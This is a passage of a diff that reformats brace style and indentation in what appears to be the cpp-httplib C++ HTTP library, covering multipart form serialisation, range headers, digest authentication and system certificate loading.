remaining_size; i++) { + buf_[i] = buf_[buf_spos_ + i]; + } + } + buf_spos_ = 0; + buf_epos_ = remaining_size; + + if (remaining_size + n > buf_.size()) { + buf_.resize(remaining_size + n); + } + + for (size_t i = 0; i < n; i++) { + buf_[buf_epos_ + i] = data[i]; + } + buf_epos_ += n; + } + + void buf_erase(size_t size) + { + buf_spos_ += size; + } + + std::string buf_; + size_t buf_spos_ = 0; + size_t buf_epos_ = 0; }; -inline std::string to_lower(const char *beg, const char *end) { - std::string out; - auto it = beg; - while (it != end) { - out += static_cast(::tolower(*it)); - it++; - } - return out; -} - -inline std::string make_multipart_data_boundary() { - static const char data[] = - "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; - - // std::random_device might actually be deterministic on some - // platforms, but due to lack of support in the c++ standard library, - // doing better requires either some ugly hacks or breaking portability. - std::random_device seed_gen; - - // Request 128 bits of entropy for initialization - std::seed_seq seed_sequence{seed_gen(), seed_gen(), seed_gen(), seed_gen()}; - std::mt19937 engine(seed_sequence); - - std::string result = "--cpp-httplib-multipart-data-"; - - for (auto i = 0; i < 16; i++) { - result += data[engine() % (sizeof(data) - 1)]; - } - - return result; -} - -inline bool is_multipart_boundary_chars_valid(const std::string &boundary) { - auto valid = true; - for (size_t i = 0; i < boundary.size(); i++) { - auto c = boundary[i]; - if (!std::isalnum(c) && c != '-' && c != '_') { - valid = false; - break; +inline std::string to_lower(const char *beg, const char *end) +{ + std::string out; + auto it = beg; + while (it != end) { + out += static_cast(::tolower(*it)); + it++; } - } - return valid; + return out; +} + +inline std::string make_multipart_data_boundary() +{ + static const char data[] = + "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + + // std::random_device might actually be deterministic on some + // platforms, but due to lack of support in the c++ standard library, + // doing better requires either some ugly hacks or breaking portability. + std::random_device seed_gen; + + // Request 128 bits of entropy for initialization + std::seed_seq seed_sequence{seed_gen(), seed_gen(), seed_gen(), seed_gen()}; + std::mt19937 engine(seed_sequence); + + std::string result = "--cpp-httplib-multipart-data-"; + + for (auto i = 0; i < 16; i++) { + result += data[engine() % (sizeof(data) - 1)]; + } + + return result; +} + +inline bool is_multipart_boundary_chars_valid(const std::string &boundary) +{ + auto valid = true; + for (size_t i = 0; i < boundary.size(); i++) { + auto c = boundary[i]; + if (!std::isalnum(c) && c != '-' && c != '_') { + valid = false; + break; + } + } + return valid; } template inline std::string serialize_multipart_formdata_item_begin(const T &item, - const std::string &boundary) { - std::string body = "--" + boundary + "\r\n"; - body += "Content-Disposition: form-data; name=\"" + item.name + "\""; - if (!item.filename.empty()) { - body += "; filename=\"" + item.filename + "\""; - } - body += "\r\n"; - if (!item.content_type.empty()) { - body += "Content-Type: " + item.content_type + "\r\n"; - } - body += "\r\n"; + const std::string &boundary) +{ + std::string body = "--" + boundary + "\r\n"; + body += "Content-Disposition: form-data; name=\"" + item.name + "\""; + if (!item.filename.empty()) { + body += "; filename=\"" + item.filename + "\""; + } + body += "\r\n"; + if (!item.content_type.empty()) { + body += "Content-Type: " + item.content_type + "\r\n"; + } + body += "\r\n"; - return body; + return body; } -inline std::string serialize_multipart_formdata_item_end() { return "\r\n"; } - -inline std::string -serialize_multipart_formdata_finish(const std::string &boundary) { - return "--" + boundary + "--\r\n"; +inline std::string serialize_multipart_formdata_item_end() +{ + return "\r\n"; } inline std::string -serialize_multipart_formdata_get_content_type(const std::string &boundary) { - return "multipart/form-data; boundary=" + boundary; +serialize_multipart_formdata_finish(const std::string &boundary) +{ + return "--" + boundary + "--\r\n"; +} + +inline std::string +serialize_multipart_formdata_get_content_type(const std::string &boundary) +{ + return "multipart/form-data; boundary=" + boundary; } inline std::string serialize_multipart_formdata(const MultipartFormDataItems &items, - const std::string &boundary, bool finish = true) { - std::string body; + const std::string &boundary, bool finish = true) +{ + std::string body; - for (const auto &item : items) { - body += serialize_multipart_formdata_item_begin(item, boundary); - body += item.content + serialize_multipart_formdata_item_end(); - } + for (const auto &item : items) { + body += serialize_multipart_formdata_item_begin(item, boundary); + body += item.content + serialize_multipart_formdata_item_end(); + } - if (finish) { body += serialize_multipart_formdata_finish(boundary); } + if (finish) { + body += serialize_multipart_formdata_finish(boundary); + } - return body; + return body; } inline std::pair get_range_offset_and_length(const Request &req, size_t content_length, - size_t index) { - auto r = req.ranges[index]; + size_t index) +{ + auto r = req.ranges[index]; - if (r.first == -1 && r.second == -1) { - return std::make_pair(0, content_length); - } + if (r.first == -1 && r.second == -1) { + return std::make_pair(0, content_length); + } - auto slen = static_cast(content_length); + auto slen = static_cast(content_length); - if (r.first == -1) { - r.first = (std::max)(static_cast(0), slen - r.second); - r.second = slen - 1; - } + if (r.first == -1) { + r.first = (std::max)(static_cast(0), slen - r.second); + r.second = slen - 1; + } - if (r.second == -1) { r.second = slen - 1; } - return std::make_pair(r.first, static_cast(r.second - r.first) + 1); + if (r.second == -1) { + r.second = slen - 1; + } + return std::make_pair(r.first, static_cast(r.second - r.first) + 1); } inline std::string make_content_range_header_field(const std::pair &range, - size_t content_length) { - std::string field = "bytes "; - if (range.first != -1) { field += std::to_string(range.first); } - field += "-"; - if (range.second != -1) { field += std::to_string(range.second); } - field += "/"; - field += std::to_string(content_length); - return field; + size_t content_length) +{ + std::string field = "bytes "; + if (range.first != -1) { + field += std::to_string(range.first); + } + field += "-"; + if (range.second != -1) { + field += std::to_string(range.second); + } + field += "/"; + field += std::to_string(content_length); + return field; } template @@ -4737,70 +5355,83 @@ bool process_multipart_ranges_data(const Request &req, Response &res, const std::string &boundary, const std::string &content_type, SToken stoken, CToken ctoken, - Content content) { - for (size_t i = 0; i < req.ranges.size(); i++) { - ctoken("--"); - stoken(boundary); - ctoken("\r\n"); - if (!content_type.empty()) { - ctoken("Content-Type: "); - stoken(content_type); - ctoken("\r\n"); + Content content) +{ + for (size_t i = 0; i < req.ranges.size(); i++) { + ctoken("--"); + stoken(boundary); + ctoken("\r\n"); + if (!content_type.empty()) { + ctoken("Content-Type: "); + stoken(content_type); + ctoken("\r\n"); + } + + ctoken("Content-Range: "); + const auto &range = req.ranges[i]; + stoken(make_content_range_header_field(range, res.content_length_)); + ctoken("\r\n"); + ctoken("\r\n"); + + auto offsets = get_range_offset_and_length(req, res.content_length_, i); + auto offset = offsets.first; + auto length = offsets.second; + if (!content(offset, length)) { + return false; + } + ctoken("\r\n"); } - ctoken("Content-Range: "); - const auto &range = req.ranges[i]; - stoken(make_content_range_header_field(range, res.content_length_)); - ctoken("\r\n"); - ctoken("\r\n"); + ctoken("--"); + stoken(boundary); + ctoken("--"); - auto offsets = get_range_offset_and_length(req, res.content_length_, i); - auto offset = offsets.first; - auto length = offsets.second; - if (!content(offset, length)) { return false; } - ctoken("\r\n"); - } - - ctoken("--"); - stoken(boundary); - ctoken("--"); - - return true; + return true; } inline bool make_multipart_ranges_data(const Request &req, Response &res, const std::string &boundary, const std::string &content_type, - std::string &data) { - return process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { data += token; }, - [&](const std::string &token) { data += token; }, - [&](size_t offset, size_t length) { + std::string &data) +{ + return process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + data += token; + }, + [&](const std::string &token) { + data += token; + }, + [&](size_t offset, size_t length) { if (offset < res.body.size()) { - data += res.body.substr(offset, length); - return true; + data += res.body.substr(offset, length); + return true; } return false; - }); + }); } inline size_t get_multipart_ranges_data_length(const Request &req, Response &res, const std::string &boundary, - const std::string &content_type) { - size_t data_length = 0; + const std::string &content_type) +{ + size_t data_length = 0; - process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { data_length += token.size(); }, - [&](const std::string &token) { data_length += token.size(); }, - [&](size_t /*offset*/, size_t length) { + process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + data_length += token.size(); + }, + [&](const std::string &token) { + data_length += token.size(); + }, + [&](size_t /*offset*/, size_t length) { data_length += length; return true; - }); + }); - return data_length; + return data_length; } template @@ -4808,78 +5439,92 @@ inline bool write_multipart_ranges_data(Stream &strm, const Request &req, Response &res, const std::string &boundary, const std::string &content_type, - const T &is_shutting_down) { - return process_multipart_ranges_data( - req, res, boundary, content_type, - [&](const std::string &token) { strm.write(token); }, - [&](const std::string &token) { strm.write(token); }, - [&](size_t offset, size_t length) { + const T &is_shutting_down) +{ + return process_multipart_ranges_data( + req, res, boundary, content_type, + [&](const std::string &token) { + strm.write(token); + }, + [&](const std::string &token) { + strm.write(token); + }, + [&](size_t offset, size_t length) { return write_content(strm, res.content_provider_, offset, length, is_shutting_down); - }); + }); } inline std::pair get_range_offset_and_length(const Request &req, const Response &res, - size_t index) { - auto r = req.ranges[index]; + size_t index) +{ + auto r = req.ranges[index]; - if (r.second == -1) { - r.second = static_cast(res.content_length_) - 1; - } + if (r.second == -1) { + r.second = static_cast(res.content_length_) - 1; + } - return std::make_pair(r.first, r.second - r.first + 1); + return std::make_pair(r.first, r.second - r.first + 1); } -inline bool expect_content(const Request &req) { - if (req.method == "POST" || req.method == "PUT" || req.method == "PATCH" || - req.method == "PRI" || req.method == "DELETE") { - return true; - } - // TODO: check if Content-Length is set - return false; +inline bool expect_content(const Request &req) +{ + if (req.method == "POST" || req.method == "PUT" || req.method == "PATCH" || + req.method == "PRI" || req.method == "DELETE") { + return true; + } + // TODO: check if Content-Length is set + return false; } -inline bool has_crlf(const std::string &s) { - auto p = s.c_str(); - while (*p) { - if (*p == '\r' || *p == '\n') { return true; } - p++; - } - return false; +inline bool has_crlf(const std::string &s) +{ + auto p = s.c_str(); + while (*p) { + if (*p == '\r' || *p == '\n') { + return true; + } + p++; + } + return false; } #ifdef CPPHTTPLIB_OPENSSL_SUPPORT -inline std::string message_digest(const std::string &s, const EVP_MD *algo) { - auto context = std::unique_ptr( - EVP_MD_CTX_new(), EVP_MD_CTX_free); +inline std::string message_digest(const std::string &s, const EVP_MD *algo) +{ + auto context = std::unique_ptr( + EVP_MD_CTX_new(), EVP_MD_CTX_free); - unsigned int hash_length = 0; - unsigned char hash[EVP_MAX_MD_SIZE]; + unsigned int hash_length = 0; + unsigned char hash[EVP_MAX_MD_SIZE]; - EVP_DigestInit_ex(context.get(), algo, nullptr); - EVP_DigestUpdate(context.get(), s.c_str(), s.size()); - EVP_DigestFinal_ex(context.get(), hash, &hash_length); + EVP_DigestInit_ex(context.get(), algo, nullptr); + EVP_DigestUpdate(context.get(), s.c_str(), s.size()); + EVP_DigestFinal_ex(context.get(), hash, &hash_length); - std::stringstream ss; - for (auto i = 0u; i < hash_length; ++i) { - ss << std::hex << std::setw(2) << std::setfill('0') - << static_cast(hash[i]); - } + std::stringstream ss; + for (auto i = 0u; i < hash_length; ++i) { + ss << std::hex << std::setw(2) << std::setfill('0') + << static_cast(hash[i]); + } - return ss.str(); + return ss.str(); } -inline std::string MD5(const std::string &s) { - return message_digest(s, EVP_md5()); +inline std::string MD5(const std::string &s) +{ + return message_digest(s, EVP_md5()); } -inline std::string SHA_256(const std::string &s) { - return message_digest(s, EVP_sha256()); +inline std::string SHA_256(const std::string &s) +{ + return message_digest(s, EVP_sha256()); } -inline std::string SHA_512(const std::string &s) { - return message_digest(s, EVP_sha512()); +inline std::string SHA_512(const std::string &s) +{ + return message_digest(s, EVP_sha512()); } #endif @@ -4887,29 +5532,32 @@ inline std::string SHA_512(const std::string &s) { #ifdef _WIN32 // NOTE: This code came up with the following stackoverflow post: // https://stackoverflow.com/questions/9507184/can-openssl-on-windows-use-the-system-certificate-store -inline bool load_system_certs_on_windows(X509_STORE *store) { - auto hStore = CertOpenSystemStoreW((HCRYPTPROV_LEGACY)NULL, L"ROOT"); - if (!hStore) { return false; } - - auto result = false; - PCCERT_CONTEXT pContext = NULL; - while ((pContext = CertEnumCertificatesInStore(hStore, pContext)) != - nullptr) { - auto encoded_cert = - static_cast(pContext->pbCertEncoded); - - auto x509 = d2i_X509(NULL, &encoded_cert, pContext->cbCertEncoded); - if (x509) { - X509_STORE_add_cert(store, x509); - X509_free(x509); - result = true; +inline bool load_system_certs_on_windows(X509_STORE *store) +{ + auto hStore = CertOpenSystemStoreW((HCRYPTPROV_LEGACY)NULL, L"ROOT"); + if (!hStore) { + return false; } - } - CertFreeCertificateContext(pContext); - CertCloseStore(hStore, 0); + auto result = false; + PCCERT_CONTEXT pContext = NULL; + while ((pContext = CertEnumCertificatesInStore(hStore, pContext)) != + nullptr) { + auto encoded_cert = + static_cast(pContext->pbCertEncoded); - return result; + auto x509 = d2i_X509(NULL, &encoded_cert, pContext->cbCertEncoded); + if (x509) { + X509_STORE_add_cert(store, x509); + X509_free(x509); + result = true; + } + } + + CertFreeCertificateContext(pContext); + CertCloseStore(hStore, 0); + + return result; } #elif defined(CPPHTTPLIB_USE_CERTS_FROM_MACOSX_KEYCHAIN) && defined(__APPLE__) #if TARGET_OS_OSX @@ -4917,106 +5565,121 @@ template using CFObjectPtr = std::unique_ptr::type, void (*)(CFTypeRef)>; -inline void cf_object_ptr_deleter(CFTypeRef obj) { - if (obj) { CFRelease(obj); } +inline void cf_object_ptr_deleter(CFTypeRef obj) +{ + if (obj) { + CFRelease(obj); + } } -inline bool retrieve_certs_from_keychain(CFObjectPtr &certs) { - CFStringRef keys[] = {kSecClass, kSecMatchLimit, kSecReturnRef}; - CFTypeRef values[] = {kSecClassCertificate, kSecMatchLimitAll, - kCFBooleanTrue}; +inline bool retrieve_certs_from_keychain(CFObjectPtr &certs) +{ + CFStringRef keys[] = {kSecClass, kSecMatchLimit, kSecReturnRef}; + CFTypeRef values[] = {kSecClassCertificate, kSecMatchLimitAll, + kCFBooleanTrue + }; - CFObjectPtr query( - CFDictionaryCreate(nullptr, reinterpret_cast(keys), values, - sizeof(keys) / sizeof(keys[0]), - &kCFTypeDictionaryKeyCallBacks, - &kCFTypeDictionaryValueCallBacks), - cf_object_ptr_deleter); + CFObjectPtr query( + CFDictionaryCreate(nullptr, reinterpret_cast(keys), values, + sizeof(keys) / sizeof(keys[0]), + &kCFTypeDictionaryKeyCallBacks, + &kCFTypeDictionaryValueCallBacks), + cf_object_ptr_deleter); - if (!query) { return false; } - - CFTypeRef security_items = nullptr; - if (SecItemCopyMatching(query.get(), &security_items) != errSecSuccess || - CFArrayGetTypeID() != CFGetTypeID(security_items)) { - return false; - } - - certs.reset(reinterpret_cast(security_items)); - return true; -} - -inline bool retrieve_root_certs_from_keychain(CFObjectPtr &certs) { - CFArrayRef root_security_items = nullptr; - if (SecTrustCopyAnchorCertificates(&root_security_items) != errSecSuccess) { - return false; - } - - certs.reset(root_security_items); - return true; -} - -inline bool add_certs_to_x509_store(CFArrayRef certs, X509_STORE *store) { - auto result = false; - for (auto i = 0; i < CFArrayGetCount(certs); ++i) { - const auto cert = reinterpret_cast( - CFArrayGetValueAtIndex(certs, i)); - - if (SecCertificateGetTypeID() != CFGetTypeID(cert)) { continue; } - - CFDataRef cert_data = nullptr; - if (SecItemExport(cert, kSecFormatX509Cert, 0, nullptr, &cert_data) != - errSecSuccess) { - continue; + if (!query) { + return false; } - CFObjectPtr cert_data_ptr(cert_data, cf_object_ptr_deleter); - - auto encoded_cert = static_cast( - CFDataGetBytePtr(cert_data_ptr.get())); - - auto x509 = - d2i_X509(NULL, &encoded_cert, CFDataGetLength(cert_data_ptr.get())); - - if (x509) { - X509_STORE_add_cert(store, x509); - X509_free(x509); - result = true; + CFTypeRef security_items = nullptr; + if (SecItemCopyMatching(query.get(), &security_items) != errSecSuccess || + CFArrayGetTypeID() != CFGetTypeID(security_items)) { + return false; } - } - return result; + certs.reset(reinterpret_cast(security_items)); + return true; } -inline bool load_system_certs_on_macos(X509_STORE *store) { - auto result = false; - CFObjectPtr certs(nullptr, cf_object_ptr_deleter); - if (retrieve_certs_from_keychain(certs) && certs) { - result = add_certs_to_x509_store(certs.get(), store); - } +inline bool retrieve_root_certs_from_keychain(CFObjectPtr &certs) +{ + CFArrayRef root_security_items = nullptr; + if (SecTrustCopyAnchorCertificates(&root_security_items) != errSecSuccess) { + return false; + } - if (retrieve_root_certs_from_keychain(certs) && certs) { - result = add_certs_to_x509_store(certs.get(), store) || result; - } + certs.reset(root_security_items); + return true; +} - return result; +inline bool add_certs_to_x509_store(CFArrayRef certs, X509_STORE *store) +{ + auto result = false; + for (auto i = 0; i < CFArrayGetCount(certs); ++i) { + const auto cert = reinterpret_cast( + CFArrayGetValueAtIndex(certs, i)); + + if (SecCertificateGetTypeID() != CFGetTypeID(cert)) { + continue; + } + + CFDataRef cert_data = nullptr; + if (SecItemExport(cert, kSecFormatX509Cert, 0, nullptr, &cert_data) != + errSecSuccess) { + continue; + } + + CFObjectPtr cert_data_ptr(cert_data, cf_object_ptr_deleter); + + auto encoded_cert = static_cast( + CFDataGetBytePtr(cert_data_ptr.get())); + + auto x509 = + d2i_X509(NULL, &encoded_cert, CFDataGetLength(cert_data_ptr.get())); + + if (x509) { + X509_STORE_add_cert(store, x509); + X509_free(x509); + result = true; + } + } + + return result; +} + +inline bool load_system_certs_on_macos(X509_STORE *store) +{ + auto result = false; + CFObjectPtr certs(nullptr, cf_object_ptr_deleter); + if (retrieve_certs_from_keychain(certs) && certs) { + result = add_certs_to_x509_store(certs.get(), store); + } + + if (retrieve_root_certs_from_keychain(certs) && certs) { + result = add_certs_to_x509_store(certs.get(), store) || result; + } + + return result; } #endif // TARGET_OS_OSX #endif // _WIN32 #endif // CPPHTTPLIB_OPENSSL_SUPPORT #ifdef _WIN32 -class WSInit { +class WSInit +{ public: - WSInit() { - WSADATA wsaData; - if (WSAStartup(0x0002, &wsaData) == 0) is_valid_ = true; - } + WSInit() + { + WSADATA wsaData; + if (WSAStartup(0x0002, &wsaData) == 0) is_valid_ = true; + } - ~WSInit() { - if (is_valid_) WSACleanup(); - } + ~WSInit() + { + if (is_valid_) WSACleanup(); + } - bool is_valid_ = false; + bool is_valid_ = false; }; static WSInit wsinit_; @@ -5026,372 +5689,428 @@ static WSInit wsinit_; inline std::pair make_digest_authentication_header( const Request &req, const std::map &auth, size_t cnonce_count, const std::string &cnonce, const std::string &username, - const std::string &password, bool is_proxy = false) { - std::string nc; - { - std::stringstream ss; - ss << std::setfill('0') << std::setw(8) << std::hex << cnonce_count; - nc = ss.str(); - } - - std::string qop; - if (auth.find("qop") != auth.end()) { - qop = auth.at("qop"); - if (qop.find("auth-int") != std::string::npos) { - qop = "auth-int"; - } else if (qop.find("auth") != std::string::npos) { - qop = "auth"; - } else { - qop.clear(); + const std::string &password, bool is_proxy = false) +{ + std::string nc; + { + std::stringstream ss; + ss << std::setfill('0') << std::setw(8) << std::hex << cnonce_count; + nc = ss.str(); } - } - std::string algo = "MD5"; - if (auth.find("algorithm") != auth.end()) { algo = auth.at("algorithm"); } - - std::string response; - { - auto H = algo == "SHA-256" ? detail::SHA_256 - : algo == "SHA-512" ? detail::SHA_512 - : detail::MD5; - - auto A1 = username + ":" + auth.at("realm") + ":" + password; - - auto A2 = req.method + ":" + req.path; - if (qop == "auth-int") { A2 += ":" + H(req.body); } - - if (qop.empty()) { - response = H(H(A1) + ":" + auth.at("nonce") + ":" + H(A2)); - } else { - response = H(H(A1) + ":" + auth.at("nonce") + ":" + nc + ":" + cnonce + - ":" + qop + ":" + H(A2)); + std::string qop; + if (auth.find("qop") != auth.end()) { + qop = auth.at("qop"); + if (qop.find("auth-int") != std::string::npos) { + qop = "auth-int"; + } else if (qop.find("auth") != std::string::npos) { + qop = "auth"; + } else { + qop.clear(); + } } - } - auto opaque = (auth.find("opaque") != auth.end()) ? auth.at("opaque") : ""; + std::string algo = "MD5"; + if (auth.find("algorithm") != auth.end()) { + algo = auth.at("algorithm"); + } - auto field = "Digest username=\"" + username + "\", realm=\"" + - auth.at("realm") + "\", nonce=\"" + auth.at("nonce") + - "\", uri=\"" + req.path + "\", algorithm=" + algo + - (qop.empty() ? ", response=\"" - : ", qop=" + qop + ", nc=" + nc + ", cnonce=\"" + - cnonce + "\", response=\"") + - response + "\"" + - (opaque.empty() ? "" : ", opaque=\"" + opaque + "\""); + std::string response; + { + auto H = algo == "SHA-256" ? detail::SHA_256 + : algo == "SHA-512" ? detail::SHA_512 + : detail::MD5; - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, field); + auto A1 = username + ":" + auth.at("realm") + ":" + password; + + auto A2 = req.method + ":" + req.path; + if (qop == "auth-int") { + A2 += ":" + H(req.body); + } + + if (qop.empty()) { + response = H(H(A1) + ":" + auth.at("nonce") + ":" + H(A2)); + } else { + response = H(H(A1) + ":" + auth.at("nonce") + ":" + nc + ":" + cnonce + + ":" + qop + ":" + H(A2)); + } + } + + auto opaque = (auth.find("opaque") != auth.end()) ? auth.at("opaque") : ""; + + auto field = "Digest username=\"" + username + "\", realm=\"" + + auth.at("realm") + "\", nonce=\"" + auth.at("nonce") + + "\", uri=\"" + req.path + "\", algorithm=" + algo + + (qop.empty() ? ", response=\"" + : ", qop=" + qop + ", nc=" + nc + ", cnonce=\"" + + cnonce + "\", response=\"") + + response + "\"" + + (opaque.empty() ? "" : ", opaque=\"" + opaque + "\""); + + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, field); } #endif inline bool parse_www_authenticate(const Response &res, std::map &auth, - bool is_proxy) { - auto auth_key = is_proxy ? "Proxy-Authenticate" : "WWW-Authenticate"; - if (res.has_header(auth_key)) { - static auto re = std::regex(R"~((?:(?:,\s*)?(.+?)=(?:"(.*?)"|([^,]*))))~"); - auto s = res.get_header_value(auth_key); - auto pos = s.find(' '); - if (pos != std::string::npos) { - auto type = s.substr(0, pos); - if (type == "Basic") { - return false; - } else if (type == "Digest") { - s = s.substr(pos + 1); - auto beg = std::sregex_iterator(s.begin(), s.end(), re); - for (auto i = beg; i != std::sregex_iterator(); ++i) { - const auto &m = *i; - auto key = s.substr(static_cast(m.position(1)), - static_cast(m.length(1))); - auto val = m.length(2) > 0 - ? s.substr(static_cast(m.position(2)), - static_cast(m.length(2))) - : s.substr(static_cast(m.position(3)), - static_cast(m.length(3))); - auth[key] = val; + bool is_proxy) +{ + auto auth_key = is_proxy ? "Proxy-Authenticate" : "WWW-Authenticate"; + if (res.has_header(auth_key)) { + static auto re = std::regex(R"~((?:(?:,\s*)?(.+?)=(?:"(.*?)"|([^,]*))))~"); + auto s = res.get_header_value(auth_key); + auto pos = s.find(' '); + if (pos != std::string::npos) { + auto type = s.substr(0, pos); + if (type == "Basic") { + return false; + } else if (type == "Digest") { + s = s.substr(pos + 1); + auto beg = std::sregex_iterator(s.begin(), s.end(), re); + for (auto i = beg; i != std::sregex_iterator(); ++i) { + const auto &m = *i; + auto key = s.substr(static_cast(m.position(1)), + static_cast(m.length(1))); + auto val = m.length(2) > 0 + ? s.substr(static_cast(m.position(2)), + static_cast(m.length(2))) + : s.substr(static_cast(m.position(3)), + static_cast(m.length(3))); + auth[key] = val; + } + return true; + } } - return true; - } } - } - return false; + return false; } // https://stackoverflow.com/questions/440133/how-do-i-create-a-random-alpha-numeric-string-in-c/440240#answer-440240 -inline std::string random_string(size_t length) { - auto randchar = []() -> char { - const char charset[] = "0123456789" - "ABCDEFGHIJKLMNOPQRSTUVWXYZ" - "abcdefghijklmnopqrstuvwxyz"; - const size_t max_index = (sizeof(charset) - 1); - return charset[static_cast(std::rand()) % max_index]; - }; - std::string str(length, 0); - std::generate_n(str.begin(), length, randchar); - return str; +inline std::string random_string(size_t length) +{ + auto randchar = []() -> char { + const char charset[] = "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const size_t max_index = (sizeof(charset) - 1); + return charset[static_cast(std::rand()) % max_index]; + }; + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; } -class ContentProviderAdapter { +class ContentProviderAdapter +{ public: - explicit ContentProviderAdapter( - ContentProviderWithoutLength &&content_provider) - : content_provider_(content_provider) {} + explicit ContentProviderAdapter( + ContentProviderWithoutLength &&content_provider) + : content_provider_(content_provider) {} - bool operator()(size_t offset, size_t, DataSink &sink) { - return content_provider_(offset, sink); - } + bool operator()(size_t offset, size_t, DataSink &sink) + { + return content_provider_(offset, sink); + } private: - ContentProviderWithoutLength content_provider_; + ContentProviderWithoutLength content_provider_; }; } // namespace detail -inline std::string hosted_at(const std::string &hostname) { - std::vector addrs; - hosted_at(hostname, addrs); - if (addrs.empty()) { return std::string(); } - return addrs[0]; +inline std::string hosted_at(const std::string &hostname) +{ + std::vector addrs; + hosted_at(hostname, addrs); + if (addrs.empty()) { + return std::string(); + } + return addrs[0]; } inline void hosted_at(const std::string &hostname, - std::vector &addrs) { - struct addrinfo hints; - struct addrinfo *result; + std::vector &addrs) +{ + struct addrinfo hints; + struct addrinfo *result; - memset(&hints, 0, sizeof(struct addrinfo)); - hints.ai_family = AF_UNSPEC; - hints.ai_socktype = SOCK_STREAM; - hints.ai_protocol = 0; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = 0; - if (getaddrinfo(hostname.c_str(), nullptr, &hints, &result)) { + if (getaddrinfo(hostname.c_str(), nullptr, &hints, &result)) { #if defined __linux__ && !defined __ANDROID__ - res_init(); + res_init(); #endif - return; - } - - for (auto rp = result; rp; rp = rp->ai_next) { - const auto &addr = - *reinterpret_cast(rp->ai_addr); - std::string ip; - auto dummy = -1; - if (detail::get_ip_and_port(addr, sizeof(struct sockaddr_storage), ip, - dummy)) { - addrs.push_back(ip); + return; } - } - freeaddrinfo(result); + for (auto rp = result; rp; rp = rp->ai_next) { + const auto &addr = + *reinterpret_cast(rp->ai_addr); + std::string ip; + auto dummy = -1; + if (detail::get_ip_and_port(addr, sizeof(struct sockaddr_storage), ip, + dummy)) { + addrs.push_back(ip); + } + } + + freeaddrinfo(result); } inline std::string append_query_params(const std::string &path, - const Params ¶ms) { - std::string path_with_query = path; - const static std::regex re("[^?]+\\?.*"); - auto delm = std::regex_match(path, re) ? '&' : '?'; - path_with_query += delm + detail::params_to_query_str(params); - return path_with_query; + const Params ¶ms) +{ + std::string path_with_query = path; + const static std::regex re("[^?]+\\?.*"); + auto delm = std::regex_match(path, re) ? '&' : '?'; + path_with_query += delm + detail::params_to_query_str(params); + return path_with_query; } // Header utilities -inline std::pair make_range_header(Ranges ranges) { - std::string field = "bytes="; - auto i = 0; - for (auto r : ranges) { - if (i != 0) { field += ", "; } - if (r.first != -1) { field += std::to_string(r.first); } - field += '-'; - if (r.second != -1) { field += std::to_string(r.second); } - i++; - } - return std::make_pair("Range", std::move(field)); +inline std::pair make_range_header(Ranges ranges) +{ + std::string field = "bytes="; + auto i = 0; + for (auto r : ranges) { + if (i != 0) { + field += ", "; + } + if (r.first != -1) { + field += std::to_string(r.first); + } + field += '-'; + if (r.second != -1) { + field += std::to_string(r.second); + } + i++; + } + return std::make_pair("Range", std::move(field)); } inline std::pair make_basic_authentication_header(const std::string &username, - const std::string &password, bool is_proxy) { - auto field = "Basic " + detail::base64_encode(username + ":" + password); - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, std::move(field)); + const std::string &password, bool is_proxy) +{ + auto field = "Basic " + detail::base64_encode(username + ":" + password); + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, std::move(field)); } inline std::pair make_bearer_token_authentication_header(const std::string &token, - bool is_proxy = false) { - auto field = "Bearer " + token; - auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; - return std::make_pair(key, std::move(field)); + bool is_proxy = false) +{ + auto field = "Bearer " + token; + auto key = is_proxy ? "Proxy-Authorization" : "Authorization"; + return std::make_pair(key, std::move(field)); } // Request implementation -inline bool Request::has_header(const std::string &key) const { - return detail::has_header(headers, key); +inline bool Request::has_header(const std::string &key) const +{ + return detail::has_header(headers, key); } inline std::string Request::get_header_value(const std::string &key, - size_t id) const { - return detail::get_header_value(headers, key, id, ""); + size_t id) const +{ + return detail::get_header_value(headers, key, id, ""); } -inline size_t Request::get_header_value_count(const std::string &key) const { - auto r = headers.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Request::get_header_value_count(const std::string &key) const +{ + auto r = headers.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } inline void Request::set_header(const std::string &key, - const std::string &val) { - if (!detail::has_crlf(key) && !detail::has_crlf(val)) { - headers.emplace(key, val); - } + const std::string &val) +{ + if (!detail::has_crlf(key) && !detail::has_crlf(val)) { + headers.emplace(key, val); + } } -inline bool Request::has_param(const std::string &key) const { - return params.find(key) != params.end(); +inline bool Request::has_param(const std::string &key) const +{ + return params.find(key) != params.end(); } inline std::string Request::get_param_value(const std::string &key, - size_t id) const { - auto rng = params.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { return it->second; } - return std::string(); + size_t id) const +{ + auto rng = params.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return it->second; + } + return std::string(); } -inline size_t Request::get_param_value_count(const std::string &key) const { - auto r = params.equal_range(key); - return static_cast(std::distance(r.first, r.second)); +inline size_t Request::get_param_value_count(const std::string &key) const +{ + auto r = params.equal_range(key); + return static_cast(std::distance(r.first, r.second)); } -inline bool Request::is_multipart_form_data() const { - const auto &content_type = get_header_value("Content-Type"); - return !content_type.rfind("multipart/form-data", 0); +inline bool Request::is_multipart_form_data() const +{ + const auto &content_type = get_header_value("Content-Type"); + return !content_type.rfind("multipart/form-data", 0); } -inline bool Request::has_file(const std::string &key) const { - return files.find(key) != files.end(); +inline bool Request::has_file(const std::string &key) const +{ + return files.find(key) != files.end(); } -inline 